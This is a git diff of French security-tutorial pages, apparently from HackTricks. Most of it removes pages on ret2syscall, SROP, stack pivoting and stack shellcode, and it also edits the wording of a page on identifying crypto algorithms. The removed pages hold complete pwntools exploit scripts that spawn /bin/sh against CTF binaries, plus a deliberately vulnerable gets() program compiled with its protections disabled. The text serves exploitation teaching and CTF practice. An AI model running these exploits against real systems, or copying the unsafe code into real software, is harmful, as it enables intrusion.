[**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) - -## Autres exemples et références - -- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - -## Techniques basées sur ROP - -Remarquez que ROP est juste une technique pour exécuter du code arbitraire. Basé sur ROP, de nombreuses techniques Ret2XXX ont été développées : - -- **Ret2lib** : Utiliser ROP pour appeler des fonctions arbitraires d'une bibliothèque chargée avec des paramètres arbitraires (généralement quelque chose comme `system('/bin/sh')`. - -{{#ref}} -ret2lib/ -{{#endref}} - -- **Ret2Syscall** : Utiliser ROP pour préparer un appel à un syscall, par exemple `execve`, et le faire exécuter des commandes arbitraires. - -{{#ref}} -rop-syscall-execv.md -{{#endref}} - -- **EBP2Ret & EBP Chaining** : Le premier abus d'EBP au lieu d'EIP pour contrôler le flux et le second est similaire à Ret2lib mais dans ce cas, le flux est contrôlé principalement avec des adresses EBP (bien qu'il soit également nécessaire de contrôler EIP). - -{{#ref}} -stack-pivoting-ebp2ret-ebp-chaining.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md deleted file mode 100644 index 038a66f12..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md +++ /dev/null @@ -1,185 +0,0 @@ -# Ret2syscall - -{{#include ../../../banners/hacktricks-training.md}} - -## Informations de base - -Ceci est similaire à Ret2lib, cependant, dans ce cas, nous n'appellerons pas une fonction d'une bibliothèque. Dans ce cas, tout sera préparé pour appeler le syscall `sys_execve` avec quelques arguments pour exécuter `/bin/sh`. Cette technique est généralement réalisée sur des binaires compilés statiquement, donc il peut y avoir de nombreux gadgets et instructions syscall. - -Pour préparer l'appel pour le **syscall**, la configuration suivante est nécessaire : - -- `rax: 59 Spécifier sys_execve` -- `rdi: ptr vers "/bin/sh" spécifier le fichier à exécuter` -- `rsi: 0 spécifier aucun argument passé` -- `rdx: 0 spécifier aucune variable d'environnement passée` - -Donc, fondamentalement, il est nécessaire d'écrire la chaîne `/bin/sh` quelque part et ensuite d'effectuer le `syscall` (en étant conscient du padding nécessaire pour contrôler la pile). Pour cela, nous avons besoin d'un gadget pour écrire `/bin/sh` dans une zone connue. - -> [!TIP] -> Un autre syscall intéressant à appeler est **`mprotect`** qui permettrait à un attaquant de **modifier les permissions d'une page en mémoire**. Cela peut être combiné avec [ret2shellcode](stack-shellcode.md). - -## Gadgets de registre - -Commençons par trouver **comment contrôler ces registres** : -```c -ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" -0x0000000000415664 : pop rax ; ret -0x0000000000400686 : pop rdi ; ret -0x00000000004101f3 : pop rsi ; ret -0x00000000004498b5 : pop rdx ; ret -``` -Avec ces adresses, il est possible de **écrire le contenu dans la pile et de le charger dans les registres**. - -## Écrire une chaîne - -### Mémoire écrivable - -Tout d'abord, vous devez trouver un endroit écrivable dans la mémoire. -```bash -gef> vmmap -[ Legend: Code | Heap | Stack ] -Start End Offset Perm Path -0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 -0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 -0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] -``` -### Écrire une chaîne en mémoire - -Ensuite, vous devez trouver un moyen d'écrire du contenu arbitraire à cette adresse. -```bash -ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" -mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx -``` -### Automatiser la chaîne ROP - -La commande suivante crée une chaîne ROP complète `sys_execve` à partir d'un binaire statique lorsqu'il y a des gadgets write-what-where et des instructions syscall : -```bash -ROPgadget --binary vuln --ropchain -``` -#### 32 bits -```python -''' -Lets write "/bin/sh" to 0x6b6000 - -pop rdx, 0x2f62696e2f736800 -pop rax, 0x6b6000 -mov qword ptr [rax], rdx -''' - -rop += popRdx # place value into EAX -rop += "/bin" # 4 bytes at a time -rop += popRax # place value into edx -rop += p32(0x6b6000) # Writable memory -rop += writeGadget #Address to: mov qword ptr [rax], rdx - -rop += popRdx -rop += "//sh" -rop += popRax -rop += p32(0x6b6000 + 4) -rop += writeGadget -``` -#### 64 bits -```python -''' -Lets write "/bin/sh" to 0x6b6000 - -pop rdx, 0x2f62696e2f736800 -pop rax, 0x6b6000 -mov qword ptr [rax], rdx -''' -rop = '' -rop += popRdx -rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end -rop += popRax -rop += p64(0x6b6000) # Writable memory -rop += writeGadget #Address to: mov qword ptr [rax], rdx -``` -## Gadgets Manquants - -Si vous **manquez de gadgets**, par exemple pour écrire `/bin/sh` en mémoire, vous pouvez utiliser la **technique SROP pour contrôler toutes les valeurs des registres** (y compris RIP et les registres de paramètres) depuis la pile : - -{{#ref}} -srop-sigreturn-oriented-programming.md -{{#endref}} - -Il peut y avoir des gadgets dans la région vDSO, qui est utilisée pour passer du mode utilisateur au mode noyau. Dans ce type de défis, une image du noyau est généralement fournie pour vider la région vDSO. - -## Exemple d'Exploitation -```python -from pwn import * - -target = process('./speedrun-001') -#gdb.attach(target, gdbscript = 'b *0x400bad') - -# Establish our ROP Gadgets -popRax = p64(0x415664) -popRdi = p64(0x400686) -popRsi = p64(0x4101f3) -popRdx = p64(0x4498b5) - -# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret -writeGadget = p64(0x48d251) - -# Our syscall gadget -syscall = p64(0x40129c) - -''' -Here is the assembly equivalent for these blocks -write "/bin/sh" to 0x6b6000 - -pop rdx, 0x2f62696e2f736800 -pop rax, 0x6b6000 -mov qword ptr [rax], rdx -''' -rop = '' -rop += popRdx -rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end -rop += popRax -rop += p64(0x6b6000) -rop += writeGadget - -''' -Prep the four registers with their arguments, and make the syscall - -pop rax, 0x3b -pop rdi, 0x6b6000 -pop rsi, 0x0 -pop rdx, 0x0 - -syscall -''' - -rop += popRax -rop += p64(0x3b) - -rop += popRdi -rop += p64(0x6b6000) - -rop += popRsi -rop += p64(0) -rop += popRdx -rop += p64(0) - -rop += syscall - - -# Add the padding to the saved return address -payload = "0"*0x408 + rop - -# Send the payload, drop to an interactive shell to use our new shell -target.sendline(payload) - -target.interactive() -``` -## Autres exemples et références - -- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) -- 64 bits, pas de PIE, nx, écrire dans une mémoire un ROP pour appeler `execve` et y sauter. -- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) -- 64 bits, nx, pas de PIE, écrire dans une mémoire un ROP pour appeler `execve` et y sauter. Pour écrire sur la pile, une fonction qui effectue des opérations mathématiques est abusée. -- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) -- 64 bits, pas de PIE, nx, BF canary, écrire dans une mémoire un ROP pour appeler `execve` et y sauter. -- [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) -- 32 bits, pas d'ASLR, utiliser vDSO pour trouver des gadgets ROP et appeler `execve`. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md deleted file mode 100644 index dff04cdde..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md +++ /dev/null @@ -1,62 +0,0 @@ -# SROP - Sigreturn-Oriented Programming - -{{#include ../../../banners/hacktricks-training.md}} - -## Informations de base - -**`Sigreturn`** est un **syscall** spécial principalement utilisé pour nettoyer après l'exécution d'un gestionnaire de signaux. Les signaux sont des interruptions envoyées à un programme par le système d'exploitation, souvent pour indiquer qu'une situation exceptionnelle s'est produite. Lorsqu'un programme reçoit un signal, il met temporairement en pause son travail actuel pour gérer le signal avec un **gestionnaire de signaux**, une fonction spéciale conçue pour traiter les signaux. - -Après que le gestionnaire de signaux ait terminé, le programme doit **reprendre son état précédent** comme si rien ne s'était passé. C'est là que **`sigreturn`** entre en jeu. Il aide le programme à **retourner du gestionnaire de signaux** et restaure l'état du programme en nettoyant le cadre de pile (la section de mémoire qui stocke les appels de fonction et les variables locales) qui a été utilisé par le gestionnaire de signaux. - -La partie intéressante est comment **`sigreturn`** restaure l'état du programme : il le fait en stockant **toutes les valeurs des registres du CPU sur la pile.** Lorsque le signal n'est plus bloqué, **`sigreturn` dépile ces valeurs de la pile**, réinitialisant effectivement les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile. - -> [!CAUTION] -> Appeler le syscall **`sigreturn`** à partir d'une chaîne ROP et **ajouter les valeurs des registres** que nous aimerions charger dans la **pile** permet de **contrôler** toutes les valeurs des registres et donc de **appeler** par exemple le syscall `execve` avec `/bin/sh`. - -Notez comment cela serait un **type de Ret2syscall** qui facilite beaucoup le contrôle des paramètres pour appeler d'autres Ret2syscalls : - -{{#ref}} -rop-syscall-execv.md -{{#endref}} - -Pour une meilleure explication, consultez également : - -{{#ref}} -https://youtu.be/ADULSwnQs-s?feature=shared -{{#endref}} - -## Exemple - -Vous pouvez [**trouver un exemple ici**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), bien que cela soit l'exploit final de là : -```python -from pwn import * - -elf = context.binary = ELF('./vuln', checksec=False) -p = process() - -BINSH = elf.address + 0x1250 -POP_RAX = 0x41018 -SYSCALL_RET = 0x41015 - -frame = SigreturnFrame() -frame.rax = 0x3b # syscall number for execve -frame.rdi = BINSH # pointer to /bin/sh -frame.rsi = 0x0 # NULL -frame.rdx = 0x0 # NULL -frame.rip = SYSCALL_RET - -payload = b'A' * 8 -payload += p64(POP_RAX) -payload += p64(0xf) -payload += p64(SYSCALL_RET) -payload += bytes(frame) - -p.sendline(payload) -p.interactive() -``` -## Références - -- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) -- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md deleted file mode 100644 index 46219bac6..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ /dev/null @@ -1,178 +0,0 @@ -# Stack Pivoting - EBP2Ret - EBP chaining - -{{#include ../../../banners/hacktricks-training.md}} - -## Informations de base - -Cette technique exploite la capacité à manipuler le **Pointeur de Base (EBP)** pour enchaîner l'exécution de plusieurs fonctions grâce à une utilisation soigneuse du registre EBP et de la séquence d'instructions `leave; ret`. - -Pour rappel, **`leave`** signifie essentiellement : -``` -mov esp, ebp -pop ebp -ret -``` -Et comme le **EBP est dans la pile** avant l'EIP, il est possible de le contrôler en contrôlant la pile. - -### EBP2Ret - -Cette technique est particulièrement utile lorsque vous pouvez **modifier le registre EBP mais n'avez aucun moyen direct de changer le registre EIP**. Elle exploite le comportement des fonctions lorsqu'elles terminent leur exécution. - -Si, pendant l'exécution de `fvuln`, vous parvenez à injecter un **EBP factice** dans la pile qui pointe vers une zone de mémoire où se trouve l'adresse de votre shellcode (plus 4 octets pour tenir compte de l'opération `pop`), vous pouvez contrôler indirectement l'EIP. Lorsque `fvuln` retourne, l'ESP est réglé sur cet emplacement conçu, et l'opération `pop` suivante diminue l'ESP de 4, **le faisant effectivement pointer vers une adresse stockée par l'attaquant là-dedans.**\ -Notez que vous **devez connaître 2 adresses** : celle vers laquelle l'ESP va aller, où vous devrez écrire l'adresse pointée par l'ESP. - -#### Construction de l'Exploit - -Tout d'abord, vous devez connaître une **adresse où vous pouvez écrire des données / adresses arbitraires**. L'ESP pointera ici et **exécutera le premier `ret`**. - -Ensuite, vous devez connaître l'adresse utilisée par `ret` qui **exécutera du code arbitraire**. Vous pourriez utiliser : - -- Une adresse valide [**ONE_GADGET**](https://github.com/david942j/one_gadget). -- L'adresse de **`system()`** suivie de **4 octets de junk** et l'adresse de `"/bin/sh"` (x86 bits). -- L'adresse d'un gadget **`jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) suivie du **shellcode** à exécuter. -- Une chaîne [**ROP**](rop-return-oriented-programing.md) - -N'oubliez pas qu'avant chacune de ces adresses dans la partie contrôlée de la mémoire, il doit y avoir **`4` octets** à cause de la partie **`pop`** de l'instruction `leave`. Il serait possible d'abuser de ces 4B pour définir un **deuxième EBP factice** et continuer à contrôler l'exécution. - -#### Exploit Off-By-One - -Il existe une variante spécifique de cette technique connue sous le nom d'« Exploit Off-By-One ». Elle est utilisée lorsque vous pouvez **uniquement modifier l'octet de poids faible de l'EBP**. Dans ce cas, l'emplacement mémoire stockant l'adresse vers laquelle sauter avec le **`ret`** doit partager les trois premiers octets avec l'EBP, permettant une manipulation similaire dans des conditions plus contraignantes. - -### **Chaînage EBP** - -Ainsi, en plaçant une adresse contrôlée dans l'entrée `EBP` de la pile et une adresse pour `leave; ret` dans `EIP`, il est possible de **déplacer l'ESP vers l'adresse EBP contrôlée depuis la pile**. - -Maintenant, l'**`ESP`** est contrôlé pointant vers une adresse désirée et la prochaine instruction à exécuter est un `RET`. Pour en abuser, il est possible de placer dans l'ESP contrôlé ceci : - -- **`&(next fake EBP)`** -> Charger le nouvel EBP à cause de `pop ebp` de l'instruction `leave` -- **`system()`** -> Appelé par `ret` -- **`&(leave;ret)`** -> Appelé après la fin de system, il déplacera l'ESP vers le faux EBP et recommencera -- **`&("/bin/sh")`**-> Param pour `system` - -Fondamentalement, de cette manière, il est possible de chaîner plusieurs faux EBPs pour contrôler le flux du programme. - -C'est comme un [ret2lib](ret2lib/index.html), mais plus complexe sans avantage apparent mais pourrait être intéressant dans certains cas limites. - -De plus, ici vous avez un [**exemple d'un défi**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) qui utilise cette technique avec une **fuite de pile** pour appeler une fonction gagnante. Voici la charge utile finale de la page : -```python -from pwn import * - -elf = context.binary = ELF('./vuln') -p = process() - -p.recvuntil('to: ') -buffer = int(p.recvline(), 16) -log.success(f'Buffer: {hex(buffer)}') - -LEAVE_RET = 0x40117c -POP_RDI = 0x40122b -POP_RSI_R15 = 0x401229 - -payload = flat( -0x0, # rbp (could be the address of anoter fake RBP) -POP_RDI, -0xdeadbeef, -POP_RSI_R15, -0xdeadc0de, -0x0, -elf.sym['winner'] -) - -payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) - -payload += flat( -buffer, # Load leak address in RBP -LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it -) - -pause() -p.sendline(payload) -print(p.recvline()) -``` -## EBP est inutile - -Comme [**expliqué dans ce post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binaire est compilé avec certaines optimisations, le **EBP ne contrôle jamais l'ESP**, donc, toute exploitation fonctionnant en contrôlant l'EBP échouera essentiellement car elle n'a pas d'effet réel.\ -C'est parce que les **prologues et épilogues changent** si le binaire est optimisé. - -- **Non optimisé :** -```bash -push %ebp # save ebp -mov %esp,%ebp # set new ebp -sub $0x100,%esp # increase stack size -. -. -. -leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) -ret # return -``` -- **Optimisé :** -```bash -push %ebx # save ebx -sub $0x100,%esp # increase stack size -. -. -. -add $0x10c,%esp # reduce stack size -pop %ebx # restore ebx -ret # return -``` -## Autres façons de contrôler RSP - -### **`pop rsp`** gadget - -[**Sur cette page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) vous pouvez trouver un exemple utilisant cette technique. Pour ce défi, il était nécessaire d'appeler une fonction avec 2 arguments spécifiques, et il y avait un **gadget `pop rsp`** et il y a une **leak de la pile** : -```python -# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp -# This version has added comments - -from pwn import * - -elf = context.binary = ELF('./vuln') -p = process() - -p.recvuntil('to: ') -buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user -log.success(f'Buffer: {hex(buffer)}') - -POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret -POP_RDI = 0x40122b -POP_RSI_R15 = 0x401229 # pop RSI and R15 - -# The payload starts -payload = flat( -0, # r13 -0, # r14 -0, # r15 -POP_RDI, -0xdeadbeef, -POP_RSI_R15, -0xdeadc0de, -0x0, # r15 -elf.sym['winner'] -) - -payload = payload.ljust(104, b'A') # pad to 104 - -# Start popping RSP, this moves the stack to the leaked address and -# continues the ROP chain in the prepared payload -payload += flat( -POP_CHAIN, -buffer # rsp -) - -pause() -p.sendline(payload) -print(p.recvline()) -``` -### xchg \, rsp gadget -``` -pop <=== return pointer - -xchg , rsp -``` -## Références - -- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) -- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md deleted file mode 100644 index 5d123dde2..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md +++ /dev/null @@ -1,89 +0,0 @@ -# Stack Shellcode - -{{#include ../../../banners/hacktricks-training.md}} - -## Informations de base - -**Stack shellcode** est une technique utilisée dans l'exploitation binaire où un attaquant écrit du shellcode dans la pile d'un programme vulnérable, puis modifie le **Pointeur d'Instruction (IP)** ou le **Pointeur d'Instruction Étendu (EIP)** pour pointer vers l'emplacement de ce shellcode, provoquant son exécution. C'est une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici une explication du processus, y compris un exemple simple en C et comment vous pourriez écrire un exploit correspondant en utilisant Python avec **pwntools**. - -### Exemple en C : Un programme vulnérable - -Commençons par un exemple simple d'un programme C vulnérable : -```c -#include -#include - -void vulnerable_function() { -char buffer[64]; -gets(buffer); // Unsafe function that does not check for buffer overflow -} - -int main() { -vulnerable_function(); -printf("Returned safely\n"); -return 0; -} -``` -Ce programme est vulnérable à un dépassement de tampon en raison de l'utilisation de la fonction `gets()`. - -### Compilation - -Pour compiler ce programme tout en désactivant diverses protections (pour simuler un environnement vulnérable), vous pouvez utiliser la commande suivante : -```sh -gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c -``` -- `-fno-stack-protector`: Désactive la protection de la pile. -- `-z execstack`: Rend la pile exécutable, ce qui est nécessaire pour exécuter le shellcode stocké sur la pile. -- `-no-pie`: Désactive l'exécutable indépendant de la position, ce qui facilite la prévision de l'adresse mémoire où notre shellcode sera situé. -- `-m32`: Compile le programme en tant qu'exécutable 32 bits, souvent utilisé pour la simplicité dans le développement d'exploits. - -### Python Exploit utilisant Pwntools - -Voici comment vous pourriez écrire un exploit en Python en utilisant **pwntools** pour effectuer une attaque **ret2shellcode** : -```python -from pwn import * - -# Set up the process and context -binary_path = './vulnerable' -p = process(binary_path) -context.binary = binary_path -context.arch = 'i386' # Specify the architecture - -# Generate the shellcode -shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell - -# Find the offset to EIP -offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash - -# Prepare the payload -# The NOP slide helps to ensure that the execution flow hits the shellcode. -nop_slide = asm('nop') * (offset - len(shellcode)) -payload = nop_slide + shellcode -payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP -payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide - -# Send the payload -p.sendline(payload) -p.interactive() -``` -Ce script construit un payload composé d'un **NOP slide**, du **shellcode**, puis écrase le **EIP** avec l'adresse pointant vers le NOP slide, garantissant que le shellcode soit exécuté. - -Le **NOP slide** (`asm('nop')`) est utilisé pour augmenter la chance que l'exécution "glisse" vers notre shellcode, peu importe l'adresse exacte. Ajustez l'argument `p32()` à l'adresse de départ de votre tampon plus un décalage pour atterrir dans le NOP slide. - -## Protections - -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) doit également être désactivé ou l'adresse de retour EIP compromise ne sera jamais suivie. -- La protection **stack** [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) empêcherait l'exécution du shellcode à l'intérieur de la pile car cette région ne serait pas exécutable. - -## Autres Exemples & Références - -- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) -- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64 bits, ASLR avec fuite d'adresse de pile, écrire le shellcode et y sauter -- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bits, ASLR avec fuite de pile, écrire le shellcode et y sauter -- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bits, ASLR avec fuite de pile, comparaison pour empêcher l'appel à exit(), écraser une variable avec une valeur et écrire le shellcode et y sauter - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing/cryptographic-algorithms/README.md b/src/reversing/cryptographic-algorithms/README.md index 53fcaa77b..d6fd56cd7 100644 --- a/src/reversing/cryptographic-algorithms/README.md +++ b/src/reversing/cryptographic-algorithms/README.md @@ -1,12 +1,10 @@ # Algorithmes Cryptographiques/Compression -## Algorithmes Cryptographiques/Compression - {{#include ../../banners/hacktricks-training.md}} ## Identification des Algorithmes -Si vous terminez dans un code **utilisant des décalages à droite et à gauche, des xors et plusieurs opérations arithmétiques**, il est très probable qu'il s'agisse de l'implémentation d'un **algorithme cryptographique**. Voici quelques façons de **identifier l'algorithme utilisé sans avoir besoin de renverser chaque étape**. +Si vous terminez par un code **utilisant des décalages à droite et à gauche, des xors et plusieurs opérations arithmétiques**, il est très probable qu'il s'agisse de l'implémentation d'un **algorithme cryptographique**. Voici quelques façons de **identifier l'algorithme utilisé sans avoir besoin de décompiler chaque étape**. ### Fonctions API @@ -37,7 +35,7 @@ Consultez ici le tableau des algorithmes possibles et leurs valeurs assignées : ### Constantes de code -Parfois, il est vraiment facile d'identifier un algorithme grâce au fait qu'il doit utiliser une valeur spéciale et unique. +Parfois, il est très facile d'identifier un algorithme grâce au fait qu'il doit utiliser une valeur spéciale et unique. ![](<../../images/image (370).png>) @@ -48,7 +46,7 @@ Si vous recherchez la première constante sur Google, voici ce que vous obtenez Par conséquent, vous pouvez supposer que la fonction décompilée est un **calculateur sha256.**\ Vous pouvez rechercher n'importe laquelle des autres constantes et vous obtiendrez (probablement) le même résultat. -### informations sur les données +### Informations sur les données Si le code n'a pas de constante significative, il peut être **en train de charger des informations à partir de la section .data**.\ Vous pouvez accéder à ces données, **grouper le premier dword** et les rechercher sur Google comme nous l'avons fait dans la section précédente : @@ -63,22 +61,22 @@ Dans ce cas, si vous recherchez **0xA56363C6**, vous pouvez trouver qu'il est li Il est composé de 3 parties principales : -- **Phase d'initialisation/** : Crée une **table de valeurs de 0x00 à 0xFF** (256 octets au total, 0x100). Cette table est communément appelée **Boîte de Substitution** (ou SBox). -- **Phase de brouillage** : Va **parcourir la table** créée précédemment (boucle de 0x100 itérations, encore une fois) en modifiant chaque valeur avec des octets **semi-aléatoires**. Pour créer ces octets semi-aléatoires, la **clé RC4 est utilisée**. Les **clés RC4** peuvent avoir une **longueur comprise entre 1 et 256 octets**, cependant, il est généralement recommandé qu'elle soit supérieure à 5 octets. En général, les clés RC4 font 16 octets de long. -- **Phase XOR** : Enfin, le texte en clair ou le texte chiffré est **XORé avec les valeurs créées précédemment**. La fonction pour chiffrer et déchiffrer est la même. Pour cela, une **boucle à travers les 256 octets créés** sera effectuée autant de fois que nécessaire. Cela est généralement reconnu dans un code décompilé avec un **%256 (mod 256)**. +- **Étape d'initialisation/** : Crée une **table de valeurs de 0x00 à 0xFF** (256 octets au total, 0x100). Cette table est communément appelée **Boîte de Substitution** (ou SBox). +- **Étape de brouillage** : Va **parcourir la table** créée précédemment (boucle de 0x100 itérations, encore une fois) en modifiant chaque valeur avec des octets **semi-aléatoires**. Pour créer ces octets semi-aléatoires, la **clé RC4 est utilisée**. Les **clés RC4** peuvent avoir une **longueur comprise entre 1 et 256 octets**, cependant, il est généralement recommandé qu'elle soit supérieure à 5 octets. En général, les clés RC4 font 16 octets de long. +- **Étape XOR** : Enfin, le texte en clair ou le texte chiffré est **XORé avec les valeurs créées précédemment**. La fonction pour chiffrer et déchiffrer est la même. Pour cela, une **boucle à travers les 256 octets créés** sera effectuée autant de fois que nécessaire. Cela est généralement reconnu dans un code décompilé avec un **%256 (mod 256)**. -> [!NOTE] +> [!TIP] > **Pour identifier un RC4 dans un code désassemblé/décompilé, vous pouvez vérifier 2 boucles de taille 0x100 (avec l'utilisation d'une clé) et ensuite un XOR des données d'entrée avec les 256 valeurs créées précédemment dans les 2 boucles probablement en utilisant un %256 (mod 256)** -### **Phase d'initialisation/Boîte de Substitution :** (Notez le nombre 256 utilisé comme compteur et comment un 0 est écrit à chaque place des 256 caractères) +### **Étape d'initialisation/Boîte de Substitution :** (Notez le nombre 256 utilisé comme compteur et comment un 0 est écrit à chaque place des 256 caractères) ![](<../../images/image (377).png>) -### **Phase de Brouillage :** +### **Étape de Brouillage :** ![](<../../images/image (378).png>) -### **Phase XOR :** +### **Étape XOR :** ![](<../../images/image (379).png>) @@ -103,8 +101,8 @@ Il est composé de 3 parties principales : ### Identification -Dans l'image suivante, notez comment la constante **0x9E3779B9** est utilisée (notez que cette constante est également utilisée par d'autres algorithmes cryptographiques comme **TEA** -Tiny Encryption Algorithm).\ -Notez également la **taille de la boucle** (**132**) et le **nombre d'opérations XOR** dans les instructions de **désassemblage** et dans l'exemple de **code** : +Dans l'image suivante, remarquez comment la constante **0x9E3779B9** est utilisée (notez que cette constante est également utilisée par d'autres algorithmes cryptographiques comme **TEA** -Tiny Encryption Algorithm).\ +Notez également la **taille de la boucle** (**132**) et le **nombre d'opérations XOR** dans les **instructions de désassemblage** et dans l'**exemple de code** : ![](<../../images/image (381).png>) @@ -120,7 +118,7 @@ Par conséquent, il est possible d'identifier cet algorithme en vérifiant le ** - Plus complexe que les algorithmes symétriques - Il n'y a pas de constantes ! (les implémentations personnalisées sont difficiles à déterminer) -- KANAL (un analyseur crypto) ne parvient pas à montrer des indices sur RSA car il repose sur des constantes. +- KANAL (un analyseur cryptographique) ne parvient pas à montrer des indices sur RSA car il repose sur des constantes. ### Identification par comparaisons diff --git a/src/reversing/cryptographic-algorithms/unpacking-binaries.md b/src/reversing/cryptographic-algorithms/unpacking-binaries.md deleted file mode 100644 index 94b403b06..000000000 --- a/src/reversing/cryptographic-algorithms/unpacking-binaries.md +++ /dev/null @@ -1,24 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Identification des binaires empaquetés - -- **manque de chaînes** : Il est courant de constater que les binaires empaquetés n'ont presque aucune chaîne. -- Beaucoup de **chaînes inutilisées** : De plus, lorsqu'un malware utilise un type de packer commercial, il est courant de trouver beaucoup de chaînes sans références croisées. Même si ces chaînes existent, cela ne signifie pas que le binaire n'est pas empaqueté. -- Vous pouvez également utiliser certains outils pour essayer de trouver quel packer a été utilisé pour empaqueter un binaire : -- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) -- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) -- [Language 2000](http://farrokhi.net/language/) - -# Recommandations de base - -- **Commencez** à analyser le binaire empaqueté **par le bas dans IDA et remontez**. Les dépackers sortent une fois que le code dépacké sort, donc il est peu probable que le dépacker passe l'exécution au code dépacké au début. -- Recherchez des **JMP** ou des **CALL** vers des **registres** ou des **zones** de **mémoire**. Recherchez également des **fonctions poussant des arguments et une direction d'adresse puis appelant 